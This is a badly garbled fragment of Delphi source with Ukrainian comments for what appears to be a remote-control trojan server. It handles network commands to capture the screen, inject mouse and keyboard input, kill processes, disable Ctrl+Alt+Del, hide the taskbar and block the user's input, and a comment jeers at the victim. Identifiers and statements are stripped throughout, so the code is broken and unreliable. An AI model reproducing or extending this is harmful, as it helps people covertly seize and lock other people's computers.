t:=(ymax) - (ymin - 1);// Screen.height;. Canvas.CopyRect (rect (0,0, (xmax) - (xmin - 1), (ymax) - (ymin - 1)), bb.Canvas, rect (xmin, ymin, xmax, ymax));. Assign (sb);. SaveToStream (b);:=true; else cansend:=false;
. Free;. Free;:=false;;. Free;. Free;; TForm1.TCPServerExecute (AThread: TIdPeerThread);, s, SRequest: string;: cardinal;: boolean;: TMemoryStatus;: Double;: integer; AThread.Connection doConnected do
:=UpperCase (Readln);
/ / Відправляємо знімок екранаSRequest=«GSS» then
;/ / / /
cansend then
writeln («TRUE»); (xmin); (ymin);
begin; (b, true);;;; not cansend then writeln («FALSE»);;:=0;:=0;:=maxint;:=maxint;. free;:=TMemoryStream.Create ;;;
/ / Подія OnMouseDownSRequest=«MODO» then (strtoint (readln), strtoint (readln));;
/ / Подія OnMouseUp
SRequest=«MOUP» then (strtoint (readln), strtoint (readln));;
/ / Подія OnKeyDownSRequest=«KEDO» then (strtoint (readln));;
/ / Подія OnKeyUpSRequest=«KEUP» then (strtoint (readln));;
/ / Відсутність допомоги, для Фелла і його користувача ... хехехе ...
if SRequest=«HELP» then;
/ / Вбити процессSRequest=«KILLALL» then
/ / sleep (100);;;
/ / Отримати список процессовSRequest=«GETPROCESS» then;; (sstream);;;. Free;; end;
/ / Отримати відомості про конфігурацію системи
if SRequest=«GETSYSINFO» then; (getsysinfo);;;
end;;
/ / Отримати відомості про стан завантаження ЦП
if SRequest=«GETCPUUSAGE» then:=GetCPUUsage;
writeinteger (trunc (c));;
/ / Отримати відомості про стан пам'яті
if SRequest=«GETMEMSTATE» then.dwLength:=sizeof (TMemoryStatus); (Status); (Status.dwTotalPhys div 1024); (Status.dwMemoryLoad);// Завантажено фізичної пам'яті в% ((Status.dwAvailPhys div 1024));// Вільно фізичної пам'яті
((status.dwTotalPageFile-Status.dwAvailPageFile) div 1024);// Всього загруженоо пам'яті (кб):=((status.dwTotalPageFile-Status.dwAvailPageFile) div 1024); ((100 * i div (status.dwTotalPageFile div 1024)));// Відсоток завантаження сторінкового файлу пам'яті (status.dwTotalPageFile div 1024);;
/ / Убиваем процес по IDSRequest=«KILLPROCESS» then:=uppercase (readln);:=HEX_DEC (r);
(id);;
/ / end of
/ / ОбновляемSRequest=«UPDATE» then;;;
SRequest=«MINIMIZEALL» then (. MainForm.Handle,
«open», pchar («MIN.scf»), nil, nil, SW_normal);;
/ / Ctr + Alt + Del disableSRequest=«DHK +» then (spi_ScreenSaverRunning, 1, nil, 0);
SRequest=«EHK +» then (spi_ScreenSaverRunning, 0, nil, 0);
/ / end of
/ / taskbarSRequest=«TSB-» then (FindWindow («Shell_TrayWnd», nil), SW_HIDE); SRequest=«TSB +» then (FindWindow («Shell_TrayWnd», nil), SW_SHOW); SRequest=«SB-» then (FindWindowEx (FindWindow («Shell_TrayWnd», nil), 0, «Button», nil), false); SRequest=«SB +» then (FindWindowEx (FindWindow («Shell_TrayWnd», nil), 0, «Button», nil), true);
/ / end of
/ / BLOCK input controlSRequest=«FI-» then.Enabled:=false;. Enabled:=true; (true, true);:=true;:=true;; SRequest=«FI +» then (false, false);:=false; k:=false;
/ / timer3.Enabled:=false;; SRequest=«KI-» then.Enabled:=false;. Enabled:=true;:=false; k:=true; (true, false...
